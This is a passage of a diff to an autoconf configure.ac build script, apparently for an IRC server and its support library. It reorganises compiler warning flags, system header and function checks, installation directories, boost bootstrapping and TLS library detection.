+ CPPFLAGS+="-D$1 $CPPFLAGS" + else + CPPFLAGS="-D$1=$2 $CPPFLAGS" + fi +]) + + + +dnl *************************************************************************** +dnl Development options +dnl + + +AC_MSG_CHECKING(if you want to enable debugging) +AC_ARG_ENABLE(debug, AC_HELP_STRING([--enable-debug], [Enable debugging suite for development.]), +[ + AC_SUBST(DEBUG, 1) + CXXFLAGS="$CXXFLAGS -O0 -ggdb" + RB_DEFINE_UNQUOTED([DEBUG], [1], [Not configured for release when lit.]) +], [ + AC_SUBST(DEBUG, 0) + CXXFLAGS="$CXXFLAGS -O3" + CPPDEFINE([NDEBUG]) +]) + + +AC_MSG_CHECKING(if you want to do a profile build) +AC_ARG_ENABLE(profile, AC_HELP_STRING([--enable-profile], [Enable profiling]), +[ + if test "$ac_cv_c_compiler_gnu" = yes; then + AC_MSG_RESULT([yes, adding -pg]) + CXXFLAGS="$CXXFLAGS -pg" + AC_DEFINE(CHARYBDIS_PROFILE, 1, [Define this if you are profiling.]) + else + AC_MSG_RESULT([no, profile builds only work with gcc]) + fi +], [ +]) + + +CWARNS="" +AC_MSG_CHECKING(if you want to disable warnings) +AC_ARG_ENABLE(warnings, +AC_HELP_STRING([--disable-warnings],[Disable all sorts of warnings like a rockstar]), +[], +[ +CHARYBDIS_C_GCC_TRY_FLAGS([-Wall], charybdis_cv_c_gcc_w_all) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wextra], charybdis_cv_c_gcc_w_extra) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wpointer-arith], charybdis_cv_c_gcc_w_pointer_arith) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wcast-align], charybdis_cv_c_gcc_w_cast_align) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wcast-qual], charybdis_cv_c_gcc_w_cast_qual) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wfloat-equal], charybdis_cv_c_gcc_w_float_equal) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wwrite-strings], charybdis_cv_c_gcc_w_write_strings) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wmissing-declarations], charybdis_cv_c_gcc_w_prototypes) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-missing-field-initializers], charybdis_cv_c_gcc_w_missing_field_initializers) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wparentheses], charybdis_cv_c_gcc_parentheses) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wmissing-noreturn], charybdis_cv_c_gcc_w_missing_noreturn) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wundef], charybdis_cv_c_gcc_w_undef) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wpacked], charybdis_cv_c_gcc_w_packed) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wno-unused -Wno-unused-function -Wno-unused-label -Wno-unused-value -Wno-unused-variable -Wno-unused-parameter], charybdis_cv_c_gcc_w_unused) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wformat -Wformat-y2k -Wformat-security -Wformat-nonliteral], charybdis_cv_c_gcc_w_format) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wstrict-aliasing -Wstrict-overflow], charybdis_cv_c_gcc_w_strict) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wdisabled-optimization], charybdis_cv_c_gcc_w_disabled_optimization) +CHARYBDIS_C_GCC_TRY_FLAGS([-Winvalid-pch], charybdis_cv_c_gcc_w_invalid_pch) +CHARYBDIS_C_GCC_TRY_FLAGS([-Winit-self], charybdis_cv_c_gcc_w_init_self) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wuninitialized], charybdis_cv_c_gcc_w_uninitialized) +CHARYBDIS_C_GCC_TRY_FLAGS([-Wunreachable-code], charybdis_cv_c_gcc_w_unreachable_code) + +AM_COND_IF([GCC], +[ + CHARYBDIS_C_GCC_TRY_FLAGS([-Wlogical-op], charybdis_cv_c_gcc_w_logical_op) + CHARYBDIS_C_GCC_TRY_FLAGS([-Wsuggest-attribute=format], charybdis_cv_c_gcc_w_suggest_attribute_format) +],[]) + +]) + +CPPFLAGS+="$CWARNS" + + + +dnl *************************************************************************** +dnl Header file checks +dnl + +AC_DEFUN([RB_CHK_SYSHEADER], +[ + AC_CHECK_HEADER([$1], [ AC_DEFINE([HAVE_$2], [1], [ Indication $1 is available. ]) RB_DEFINE_UNQUOTED([INC_$2], [$1>], [ The computed-include location of $1. ]) - ],[ - if test "$is_mingw" = "yes"; then + ], [ + AM_COND_IF([MINGW], + [ RB_DEFINE_UNQUOTED([INC_$2], [stdint.h>], [ The dead-header in place of $1. ]) - else + ], [ RB_DEFINE_UNQUOTED([INC_$2], [/dev/null>], [ The dead-header in place of $1. ]) - fi + ]) ]) ]) +AC_HEADER_STDBOOL +dnl AC_HEADER_STDC RB_CHK_SYSHEADER([errno.h], [ERRNO_H]) RB_CHK_SYSHEADER([assert.h], [ASSERT_H]) RB_CHK_SYSHEADER([stddef.h], [STDDEF_H]) @@ -177,6 +273,9 @@ RB_CHK_SYSHEADER([sys/file.h], [SYS_FILE_H]) RB_CHK_SYSHEADER([sys/param.h], [SYS_PARAM_H]) RB_CHK_SYSHEADER([sys/resource.h], [SYS_RESOURCE_H]) RB_CHK_SYSHEADER([sys/socket.h], [SYS_SOCKET_H]) +RB_CHK_SYSHEADER([sys/syslog.h], [SYS_SYSLOG_H]) +RB_CHK_SYSHEADER([sys/wait.h], [SYS_WAIT_H]) +RB_CHK_SYSHEADER([wait.h], [WAIT_H]) RB_CHK_SYSHEADER([arpa/inet.h], [ARPA_INET_H]) RB_CHK_SYSHEADER([netinet/in.h], [NETINET_IN_H]) RB_CHK_SYSHEADER([netinet/tcp.h], [NETINET_TCP_H]) @@ -195,6 +294,7 @@ RB_CHK_SYSHEADER([port.h], [PORT_H]) RB_CHK_SYSHEADER([sys/signalfd.h], [SYS_SIGNALFD_H]) RB_CHK_SYSHEADER([sys/timerfd.h], [SYS_TIMERFD_H]) RB_CHK_SYSHEADER([execinfo.h], [EXECINFO_H]) +RB_CHK_SYSHEADER([machine/endian.h], [MACHINE_ENDIAN_H]) RB_CHK_SYSHEADER([cstddef], [CSTDDEF]) RB_CHK_SYSHEADER([cstdint], [CSTDINT]) @@ -227,37 +327,78 @@ RB_CHK_SYSHEADER([ws2tcpip.h], [WS2TCPIP_H]) RB_CHK_SYSHEADER([iphlpapi.h], [IPHLPAPI_H]) -dnl todo -AC_DEFINE([HAVE_BOOST_ASIO_HPP], [1], [ boost asio. ]) -RB_DEFINE_UNQUOTED([INC_BOOST_ASIO_HPP], [boost/asio.hpp>], [ boost asio. ]) -AC_DEFINE([HAVE_BOOST_CONTEXT_ALL_HPP], [1], [ boost context. ]) -RB_DEFINE_UNQUOTED([INC_BOOST_CONTEXT_ALL_HPP], [boost/context/all.hpp>], [ boost context. ]) +dnl *************************************************************************** +dnl Philology checks +dnl -AC_DEFINE([HAVE_BOOST_ASIO_SPAWN_HPP], [1], [ boost asio spawn. ]) -RB_DEFINE_UNQUOTED([INC_BOOST_ASIO_SPAWN_HPP], [boost/asio/spawn.hpp>], [ boost asio spawn. ]) - -AC_DEFINE([HAVE_BOOST_LEXICAL_CAST_HPP], [1], [ boost asio. ]) -RB_DEFINE_UNQUOTED([INC_BOOST_LEXICAL_CAST_HPP], [boost/lexical_cast.hpp>], [ boost lexical_cast. ]) - -AC_DEFINE([HAVE_BOOST_TOKENIZER_HPP], [1], [ boost tokenizer. ]) -RB_DEFINE_UNQUOTED([INC_BOOST_TOKENIZER_HPP], [boost/tokenizer.hpp>], [ boost tokenizer. ]) - - -dnl use directory structure of cached as default (hack) -if test "$libexecdir" = '${exec_prefix}/libexec' && - test "$localstatedir" = '${prefix}/var'; then - libexecdir='${bindir}' - localstatedir='${prefix}' +AC_ISC_POSIX +AC_C_CONST +AC_C_INLINE +if test "$ac_cv_header_machine_endian_h" = "no" ; then + AC_C_BIGENDIAN fi +AC_TYPE_PID_T +AC_TYPE_SIZE_T +AC_TYPE_SSIZE_T +AC_TYPE_UID_T +AC_TYPE_PID_T +AC_CHECK_SIZEOF(char) +AC_CHECK_SIZEOF(short) +AC_CHECK_SIZEOF(int) +AC_CHECK_SIZEOF(long) +AC_CHECK_SIZEOF(long long) + +AC_CHECK_TYPES([intptr_t]) +AC_CHECK_TYPES([uintptr_t]) + +AC_FUNC_MMAP +AC_FUNC_VFORK +AC_FUNC_ALLOCA +AC_CHECK_FUNCS([ \ + strlcpy \ + strlcat \ + strnlen \ + strcasestr \ + strcasecmp \ + strncasecmp \ + strdup \ + strndup \ + strtok_r \ + snprintf \ + vsnprintf \ + gettimeofday \ + getrusage \ + gmtime_r \ + usleep \ + fstat \ + writev \ + sendmsg \ + socketpair \ + signalfd \ + timerfd_create \ + port_create \ + epoll_ctl \ + kevent \ + poll \ + select \ + getexecname \ + posix_spawn \ + arc4random \ +]) + +AC_SEARCH_LIBS(dlinfo, dl, AC_DEFINE(HAVE_DLINFO, 1, [Define if you have dlinfo])) +AC_SEARCH_LIBS(nanosleep, rt posix4, AC_DEFINE(HAVE_NANOSLEEP, 1, [Define if you have nanosleep])) +AC_SEARCH_LIBS(timer_create, rt, AC_DEFINE(HAVE_TIMER_CREATE, 1, [Define if you have timer_create])) + + +dnl dnl Networking Functions -dnl ==================== +dnl AC_SEARCH_LIBS(socket, [socket],,) - - AC_CHECK_MEMBER([struct sockaddr.sa_len], [AC_DEFINE(SOCKADDR_IN_HAS_LEN, 1, [Define to 1 if sockaddr has a 'sa_len' member.])],,[[ #ifdef HAVE_SYS_TYPES_H #include @@ -312,7 +453,10 @@ getpeername(0,0,&len); rb_socklen_t=$rb_cv_socklen_t - +AC_CHECK_TYPE([sa_family_t], [], +[AC_DEFINE(sa_family_t, [u_int16_t], [If system does not define sa_family_t, define it here.])], +[[#include +#include ]]) AC_ARG_ENABLE(ipv6, AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support]), [ipv6=$enableval], [ipv6=yes]) @@ -324,7 +468,6 @@ else AC_DEFINE([HAVE_IPV6], [0], [IPv6 not supported]) fi - AC_CHECK_TYPES([struct sockaddr_storage],[ rb_have_sockaddr_storage=yes ],[], [ @@ -333,108 +476,6 @@ AC_CHECK_TYPES([struct sockaddr_storage],[ ]) -dnl Check for stdarg.h - if we cant find it, halt configure -AC_CHECK_HEADER(stdarg.h, , [AC_MSG_ERROR([** stdarg.h could not be found - librb will not compile without it **])]) - -AC_CHECK_TYPE([sa_family_t], [], -[AC_DEFINE(sa_family_t, [u_int16_t], [If system does not define sa_family_t, define it here.])], -[[#include -#include ]]) - - -dnl check for various functions... -AC_CHECK_FUNCS([snprintf vsnprintf socketpair gettimeofday writev sendmsg gmtime_r strtok_r usleep posix_spawn getexecname strlcpy strlcat strnlen strcasestr strcasecmp strncasecmp fstat signalfd select poll kevent port_create epoll_ctl arc4random getrusage timerfd_create]) - -AC_SEARCH_LIBS(dlinfo, dl, AC_DEFINE(HAVE_DLINFO, 1, [Define if you have dlinfo])) -AC_SEARCH_LIBS(nanosleep, rt posix4, AC_DEFINE(HAVE_NANOSLEEP, 1, [Define if you have nanosleep])) -AC_SEARCH_LIBS(timer_create, rt, AC_DEFINE(HAVE_TIMER_CREATE, 1, [Define if you have timer_create])) - -AC_DEFUN([RB_CHECK_TIMER_CREATE], - [AC_CACHE_CHECK([for a working timer_create(CLOCK_REALTIME)], - [rb__cv_timer_create_works], - [AC_TRY_RUN([ -#ifdef HAVE_TIME_H -#include -#endif -#ifdef HAVE_SIGNAL_H -#include -#endif -#ifdef HAVE_UNISTD_H -#include -#endif -int main(int argc, char *argv[]) -{ -#if HAVE_TIMER_CREATE - struct sigevent ev; - timer_t timer; - ev.sigev_notify = SIGEV_SIGNAL; - ev.sigev_signo = SIGVTALRM; - if (timer_create(CLOCK_REALTIME, &ev, &timer) != 0) { - return 1; - } -#else - return 1; -#endif - return 0; -} - ], - [rb__cv_timer_create_works=yes], - [rb__cv_timer_create_works=no], - [rb__cv_timer_create_works=no]) - ]) -case $rb__cv_timer_create_works in - yes) AC_DEFINE([USE_TIMER_CREATE], 1, - [Define to 1 if we can use timer_create(CLOCK_REALTIME,...)]);; -esac -]) - - - -AC_DEFUN([RB_CHECK_TIMERFD_CREATE], - [AC_CACHE_CHECK([for a working timerfd_create(CLOCK_REALTIME)], - [rb__cv_timerfd_create_works], - [AC_TRY_RUN([ -#ifdef HAVE_TIME_H -#include -#endif -#ifdef HAVE_SIGNAL_H -#include -#endif -#ifdef HAVE_UNISTD_H -#include -#endif -#ifdef HAVE_SYS_TIMERFD_H -#include -#endif -int main(int argc, char *argv[]) -{ -#if defined(HAVE_TIMERFD_CREATE) && defined(HAVE_SYS_TIMERFD_H) - if (timerfd_create(CLOCK_REALTIME, 0) < 0) { - return 1; - } -#else - return 1; -#endif - return 0; -} - ], - [rb__cv_timerfd_create_works=yes], - [rb__cv_timerfd_create_works=no], - [rb__cv_timerfd_create_works=no]) - ]) -case $rb__cv_timerfd_create_works in - yes) AC_DEFINE([USE_TIMERFD_CREATE], 1, - [Define to 1 if we can use timerfd_create(CLOCK_REALTIME,...)]);; -esac -]) - -RB_CHECK_TIMER_CREATE -RB_CHECK_TIMERFD_CREATE - -AC_FUNC_ALLOCA -AC_FUNC_VFORK -AC_FUNC_MMAP - AC_MSG_CHECKING(for /dev/poll) if test -c "/dev/poll"; then AC_MSG_RESULT(yes) @@ -444,12 +485,360 @@ else fi -if test "$is_mingw" = "yes"; then - AC_DEFINE(HAVE_WIN32, [1], [Define to 1 if you are on windows]) +dnl SunOS/Solaris required libnsl for inet_ntoa() +if test x"$SUN" = xyes; then + AC_SEARCH_LIBS(inet_ntoa, nsl,, [AC_MSG_ERROR([libnsl not found! Aborting.])]) fi +AC_SEARCH_LIBS(crypt, [crypt descrypt],,) + +CRYPT_LIB=$ac_cv_search_crypt + +if test "$CRYPT_LIB" = "none required"; then + unset CRYPT_LIB +elif test "$CRYPT_LIB" = no; then + unset CRYPT_LIB +fi + +AC_SUBST(CRYPT_LIB) + +dnl definitions are in m4/charybdis.m4 +RB_CHECK_TIMER_CREATE +RB_CHECK_TIMERFD_CREATE + +AC_CHECK_TYPE([sa_family_t], [], +[AC_DEFINE(sa_family_t, [u_int16_t], [If system does not define sa_family_t, define it here.])], +[[#include +#include ]]) + +dnl check for various functions... + + +dnl check for nanosleep +AC_CHECK_FUNC(nanosleep,,[AC_CHECK_LIB(rt,nanosleep, + LIBS="${LIBS} -lrt", + [AC_CHECK_LIB(posix4,nanosleep, LIBS="${LIBS} -lposix4" + )])]) +if test x$ac_cv_func_nanosleep = xno && test x$ac_cv_lib_posix4_nanosleep = xno && test x$ac_cv_lib_rt_nanosleep = xno +then + AC_MSG_RESULT("nanosleep not found..using select for delay") +else + AC_DEFINE([HAVE_NANOSLEEP], 1, [Define if nanosleep exists]) +fi + +dnl check for /dev/null so we can use it to hold evil fd's +AC_MSG_CHECKING([for /dev/null]) +if test -c /dev/null ; then + AC_DEFINE(PATH_DEVNULL, "/dev/null", [Path to /dev/null]) + AC_MSG_RESULT(yes) +else + AC_DEFINE(PATH_DEVNULL, "devnull.log", [Path to /dev/null]) + AC_MSG_RESULT(no - using devnull.log) +fi + + + +dnl *************************************************************************** +dnl TODO: sort this OS-specific section +dnl + +AM_COND_IF(MINGW, +[ + AC_DEFINE(HAVE_WIN32, [1], [Define to 1 if you are on windows]) + LIBS="$LIBS -lws2_32 -liphlpapi" +],[]) + + +AM_COND_IF(INTERIX, +[ + CPPDEFINE([_ALL_SOURCE]) + CPPDEFINE([_XOPEN_SOURCE], [500]) + CPPDEFINE([_POSIX_PTHREAD_SEMANTICS]) + CPPDEFINE([_XPG4_2]) +],[]) + + + +dnl *************************************************************************** +dnl Installation Layout +dnl + +PKG_PROG_PKG_CONFIG +dnl use directory structure of cached as default (hack) +if test "$libexecdir" = '${exec_prefix}/libexec' && + test "$localstatedir" = '${prefix}/var'; then + libexecdir='${bindir}' + localstatedir='${prefix}' +fi + + +if test "$prefix" = "NONE"; then + AC_DEFINE_UNQUOTED(RB_PREFIX, "$ac_default_prefix", [Prefix where librb is installed.]) +else + dnl Don't get bitten by Cygwin's stupidity if the user specified + dnl a custom prefix with a trailing slash + prefix=`echo $prefix | sed 's/\/$//'` + AC_DEFINE_UNQUOTED(RB_PREFIX, "$prefix", [Prefix where librb is installed.]) + AC_SUBST(RB_PREFIX) +fi + + +if test "$prefix" = "NONE"; then + AC_DEFINE_UNQUOTED(IRCD_PREFIX, "$ac_default_prefix", [Prefix where the ircd is installed.]) +else + dnl Don't get bitten by Cygwin's stupidity if the user specified + dnl a custom prefix with a trailing slash + prefix=`echo $prefix | sed 's/\/$//'` + AC_DEFINE_UNQUOTED(IRCD_PREFIX, "$prefix", [Prefix where the ircd is installed.]) +fi + + +AC_ARG_ENABLE([fhs-paths], + [AS_HELP_STRING([--enable-fhs-paths], [Use more FHS-like pathnames (for packagers).])], + [], + [dnl detect if the user appears to want --enable-fhs-paths + AS_IF([test "$libexecdir" = '${exec_prefix}/libexec' && \ + test "$localstatedir" = '${prefix}/var' && \ + test "$libdir" = '${exec_prefix}/lib'], + [enable_fhs_paths=no], + [enable_fhs_paths=yes]) + ]) +dnl use directory structure of cached as default (hack) +AS_IF([test "x$enable_fhs_paths" = "xyes"], + [dnl Avoid name collisions. + pkglibexecdir='${libexecdir}/${PACKAGE_TARNAME}' + rundir=${rundir-'${prefix}/run'} + pkgrundir='${rundir}/${PACKAGE_TARNAME}' + pkglocalstatedir='${localstatedir}/${PACKAGE_TARNAME}' + AC_DEFINE([ENABLE_FHS_PATHS], [1], [Uncomment if FHS pathnames are enabled])], + [libexecdir='${bindir}' + pkglibexecdir='${libexecdir}' + rundir='${sysconfdir}' + pkgrundir='${rundir}' + localstatedir='${prefix}' + pkglocalstatedir='${sysconfdir}']) +pkglibdir='${libdir}/${PACKAGE_TARNAME}' +AC_SUBST([pkglibdir]) +AC_SUBST([rundir]) +AC_SUBST([pkgrundir]) +AC_SUBST([pkglocalstatedir]) +AC_DEFINE_DIR([PKGLOCALSTATEDIR], [pkglocalstatedir], [[Directory in which to store state, such as ban database]]) +AC_SUBST([pkglibexecdir]) +AC_DEFINE_DIR([PKGLIBEXECDIR], [pkglibexecdir], [Directory where binaries the IRCd itself spawns live]) + + +dnl +dnl Check for --with-confdir [deprecated, use --sysconfdir instead] +dnl + +AC_ARG_WITH([confdir], + [AC_HELP_STRING([--with-confdir=DIR], + [Directory to install config files [deprecated, use --sysconfdir instead].])], + [ sysconfdir=`echo $withval | sed 's/\/$//'` ], + [ confdir='etc' ]) +RB_DEFINE_UNQUOTED([ETC_DIR], ["${prefix}/${confdir}"], [Prefix where config files are installed.]) + + +dnl +dnl Check for --with-bindir +dnl + +AC_MSG_CHECKING([whether to modify binary directory]) +AC_ARG_WITH(bindir, +AC_HELP_STRING([--with-bindir=DIR], + [Directory where binary executables are placed.]), + [ logdir=`echo $withval | sed 's/\/$//'` + AC_MSG_RESULT(yes)], + [ AS_IF([test "x$enable_fhs_paths" = "xyes"], + [bindir="${prefix}/bin"], + [bindir="${prefix}/bin"]) + AC_MSG_RESULT(no)]) +RB_DEFINE_UNQUOTED([BIN_DIR], ["${bindir}"], [Directory where binary executables are to be found.]) +AC_SUBST_DIR([bindir]) + + +dnl +dnl Check for --with-logdir +dnl + +AC_MSG_CHECKING([whether to modify logdir]) +AC_ARG_WITH(logdir, +AC_HELP_STRING([--with-logdir=DIR], + [Directory where to write logfiles.]), + [ logdir=`echo $withval | sed 's/\/$//'` + AC_MSG_RESULT(yes)], + [ AS_IF([test "x$enable_fhs_paths" = "xyes"], + [logdir="${prefix}/var/log"], + [logdir="${prefix}/var/${PACKAGE_TARNAME}/log"]) + AC_MSG_RESULT(no)]) +RB_DEFINE_UNQUOTED([LOG_DIR], ["${logdir}"], [Prefix where to write logfiles.]) +AC_SUBST_DIR([logdir]) + + +dnl +dnl Check for --with-helpdir +dnl + +AC_MSG_CHECKING([whether to modify helpdir]) +AC_ARG_WITH(helpdir, +AC_HELP_STRING([--with-helpdir=DIR], + [Directory to install help files.]), + [ helpdir=`echo $withval | sed 's/\/$//'` + AC_MSG_RESULT(yes) ], + [ AS_IF([test "x$enable_fhs_paths" = "xyes"], + [helpdir="${prefix}/share/help"], + [helpdir="${prefix}/share/${PACKAGE_TARNAME}/help"]) + AC_MSG_RESULT(no) ]) +RB_DEFINE_UNQUOTED([HELP_DIR], ["${helpdir}"], [Prefix where help files are installed.]) +AC_SUBST_DIR([helpdir]) + + +dnl +dnl Check for --with-moduledir +dnl + +AC_MSG_CHECKING([whether to modify moduledir]) +AC_ARG_WITH(moduledir, + [AC_HELP_STRING([--with-moduledir=DIR], + [Directory to install modules.])], + [ moduledir=`echo $withval | sed 's/\/$//'` + AC_MSG_RESULT(yes)], + [ AS_IF([test "x$enable_fhs_paths" = "xyes"], + [moduledir="${prefix}/lib/modules"], + [moduledir="${prefix}/lib/${PACKAGE_TARNAME}/modules"]) + AC_MSG_RESULT(no) + ]) +RB_DEFINE_UNQUOTED([MODULE_DIR], ["${moduledir}"], [Prefix where modules are installed.]) +AC_SUBST_DIR([moduledir]) + + +dnl +dnl Check for --with-rundir +dnl + +AC_MSG_CHECKING([whether or modify rundir]) +AC_ARG_WITH([rundir], + [AC_HELP_STRING([--with-rundir=DIR], + [Directory in which to store pidfile.])], + [AC_MSG_RESULT([yes]) + rundir=`echo $withval | sed 's/\/$//'`], + [AC_MSG_RESULT([no]) + AS_IF([test "x$enable_fhs_paths" = "xyes"], + [rundir="${prefix}/var/run"], + [rundir="${prefix}/${PACKAGE_TARNAME}/run"])]) +AC_SUBST([rundir]) +AC_DEFINE_DIR([PKGRUNDIR], ["${rundir}"], [Directory to store pidfile in.]) + + +dnl +dnl Check for --with-program-prefix +dnl + +dnl Installed utility program prefixes (does not affect binaries +dnl installed into pkglibexecdir) +AC_MSG_CHECKING([for program prefix]) +AC_ARG_WITH([program-prefix], + [AS_HELP_STRING([--with-program-prefix=], [If set, programs installed into PATH will be installed with names prefixed by this prefix.])], + [test "x$with_program_prefix" = "xno" && with_program_prefix=], + [with_program_prefix=]) +AC_MSG_RESULT(["$with_program_prefix"]) +PROGRAM_PREFIX="$with_program_prefix" +AC_SUBST([PROGRAM_PREFIX]) +AC_DEFINE_UNQUOTED([PROGRAM_PREFIX], ["$with_program_prefix"], [String with which all programs intended to be in PATH are prefixed.]) + + + +dnl *************************************************************************** +dnl Third party +dnl + + +dnl +dnl ltdl support +dnl + +AM_CONDITIONAL([BUILD_LTDL], [[[ "$with_included_ltdl" = "yes" ]]]) + + + +dnl +dnl boost support +dnl + +AC_MSG_CHECKING([whether to use boost sources included here]) +AC_ARG_WITH(included-boost, +AC_HELP_STRING([--with-included-boost], [Use the boost sources from included submodule]), +[ + AC_MSG_RESULT([yes]) + AC_MSG_NOTICE([Bootstrapping boost]) + + AM_COND_IF([MINGW], + [ + BTOOLSET="mingw" + ], [ + dnl the CXX may have a space and then arguments so we must chop them + BTOOLSET=`echo $CXX | cut -d' ' -f1` + ]) + + bash tools/boostrap.sh $BTOOLSET system release shared single + if [[ $? != 0 ]]; then + AC_MSG_ERROR([Failed to build included boost.]) + fi + + AC_MSG_NOTICE([Bootstrapping boost: done]) + + AC_SUBST(BOOST_CPPFLAGS, "-isystem $PWD/boost/include") + + AM_COND_IF([MINGW], + [ + AC_SUBST(BOOST_LDFLAGS, "-L$PWD/boost/stage/lib") + ], [ + AC_SUBST(BOOST_LDFLAGS, "-L$PWD/boost/lib") + ]) +],[ + AC_SEARCH_LIBS(boost_system, boost_system, + [ + AC_DEFINE(HAVE_LIB_BOOST_SYSTEM, 1, [Define if you have boost_system]) + ], [ + AC_MSG_ERROR([Failed to find boost_system library. (try --with-included-boost)]) + ]) + + AC_SUBST(BOOST_CPPFLAGS, "") + AC_SUBST(BOOST_LDFLAGS, "") + AC_MSG_RESULT([no]) +]) + +AM_COND_IF([MINGW], +[ + dnl TODO + AC_SUBST(BOOST_LIBS, "-lboost_system-mgw53-1_61.dll") +], [ + AC_SUBST(BOOST_LIBS, "-lboost_system") +]) + + +AC_DEFINE([HAVE_BOOST_ASIO_HPP], [1], [ boost asio. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_ASIO_HPP], [boost/asio.hpp>], [ boost asio. ]) + +AC_DEFINE([HAVE_BOOST_CONTEXT_ALL_HPP], [1], [ boost context. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_CONTEXT_ALL_HPP], [boost/context/all.hpp>], [ boost context. ]) + +AC_DEFINE([HAVE_BOOST_ASIO_SPAWN_HPP], [1], [ boost asio spawn. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_ASIO_SPAWN_HPP], [boost/asio/spawn.hpp>], [ boost asio spawn. ]) + +AC_DEFINE([HAVE_BOOST_LEXICAL_CAST_HPP], [1], [ boost asio. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_LEXICAL_CAST_HPP], [boost/lexical_cast.hpp>], [ boost lexical_cast. ]) + +AC_DEFINE([HAVE_BOOST_TOKENIZER_HPP], [1], [ boost tokenizer. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_TOKENIZER_HPP], [boost/tokenizer.hpp>], [ boost tokenizer. ]) + + + +dnl dnl OpenSSL support -AC_MSG_CHECKING(for OpenSSL) +dnl + +AC_MSG_CHECKING([for OpenSSL]) AC_ARG_ENABLE(openssl, [AC_HELP_STRING([--enable-openssl[=DIR]],[Enable OpenSSL support (DIR optional).]) AC_HELP_STRING([--disable-openssl],[Disable OpenSSL support.])], @@ -510,10 +899,7 @@ else AC_MSG_RESULT(disabled) fi -save_CPPFLAGS="$CPPFLAGS" CPPFLAGS="$CPPFLAGS $SSL_CFLAGS" -save_LIBS="$LIBS" -LIBS="$LIBS $SSL_LIBS" if test "$cf_enable_openssl" != no; then dnl Check OpenSSL version (must be 0.9.7 or above!) AC_MSG_CHECKING(for OpenSSL 0.9.7 or above) @@ -535,7 +921,6 @@ if test "$cf_enable_openssl" != no; then fi - if test "$cf_enable_openssl" != no; then CPPFLAGS="$CPPFLAGS $SSL_LIBS" AC_CHECK_LIB(crypto, RAND_status, @@ -550,8 +935,17 @@ if test "$cf_enable_openssl" != no; then [cf_enable_openssl=no], [-lcrypto]) fi +AC_SUBST(SSL_SRCS_ENABLE) +AC_SUBST(SSL_INCLUDES) +AC_SUBST(SSL_CFLAGS) +AC_SUBST(SSL_LIBS) + + +dnl dnl mbedTLS support +dnl + AC_ARG_ENABLE(mbedtls, [AC_HELP_STRING([--enable-mbedtls], [Enable mbedTLS support.]) AC_HELP_STRING([--disable-mbedtls], [Disable mbedTLS support.])], @@ -559,8 +953,6 @@ AC_HELP_STRING([--disable-mbedtls], [Disable mbedTLS support.])], [cf_enable_mbedtls="auto"]) if test "$cf_enable_mbedtls" != no; then - save_CPPFLAGS="$CPPFLAGS" - save_LIBS="$LIBS" LIBS="$LIBS $MBEDTLS_LIBS" AC_CHECK_LIB(mbedtls, mbedtls_ssl_init, [ MBEDTLS_LIBS="$MBEDTLS_LIBS -lmbedtls -lmbedx509 -lmbedcrypto" @@ -568,7 +960,15 @@ if test "$cf_enable_mbedtls" != no; then ], [cf_enable_mbedtls=no], [-lmbedx509 -lmbedcrypto]) fi +AC_SUBST(MBEDTLS_CFLAGS) +AC_SUBST(MBEDTLS_LIBS) + + + +dnl dnl GnuTLS support +dnl + AC_MSG_CHECKING(for GnuTLS) AC_ARG_ENABLE(gnutls, [AC_HELP_STRING([--enable-gnutls],[Enable GnuTLS support.]) @@ -582,6 +982,10 @@ if test "$cf_enable_gnutls" != no; then ], [cf_enable_gnutls="no"]) fi +AC_SUBST(GNUTLS_CFLAGS) +AC_SUBST(GNUTLS_LIBS) + + dnl mbed TLS is given highest preference when no specified TLS library is provided if test "$cf_enable_openssl" = "auto" -a "$cf_enable_mbedtls" = "yes"; then cf_enable_openssl="no" @@ -616,319 +1020,9 @@ fi - -CPPFLAGS="$save_CPPFLAGS" -LIBS="$save_LIBS" - -dnl End OpenSSL detection - - - - -dnl Debug-related options -dnl ===================== - -AC_ARG_ENABLE(assert, -AC_HELP_STRING([--enable-assert],[Enable assert(). Choose between soft(warnings) and hard(aborts the daemon)]), -[assert=$enableval], [assert=no]) - -if test "$assert" = no; then - AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) -elif test "$assert" = soft; then - AC_DEFINE(SOFT_ASSERT, 1, [Define this to enable soft asserts.]) - AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) -elif test "$assert" = yes; then - assert = "hard"; -fi - -AC_MSG_CHECKING(if you want to do a profile build) -AC_ARG_ENABLE(profile, -AC_HELP_STRING([--enable-profile],[Enable profiling]), -[profile=$enableval], [profile=no]) - -if test "$profile" = yes; then - if test "$ac_cv_c_compiler_gnu" = yes; then - CPPFLAGS="$CPPFLAGS -pg -static" - AC_MSG_RESULT([yes, adding -pg -static]) - AC_DEFINE(RB_PROFILE, 1, [Defined to mark profiling is enabled]) - else - AC_MSG_RESULT([no, profile builds only work with gcc]) - fi -else - AC_MSG_RESULT(no) -fi - -AC_SUBST(LDFLAGS) -AC_SUBST(PICFLAGS) -AC_SUBST(SEDOBJ) -AC_SUBST(SSL_CFLAGS) -AC_SUBST(SSL_LIBS) -AC_SUBST(GNUTLS_CFLAGS) -AC_SUBST(GNUTLS_LIBS) -AC_SUBST(MBEDTLS_CFLAGS) -AC_SUBST(MBEDTLS_LIBS) - -if test "$prefix" = "NONE"; then - AC_DEFINE_UNQUOTED(RB_PREFIX, "$ac_default_prefix", [Prefix where librb is installed.]) -else - -dnl Don't get bitten by Cygwin's stupidity if the user specified -dnl a custom prefix with a trailing slash - - 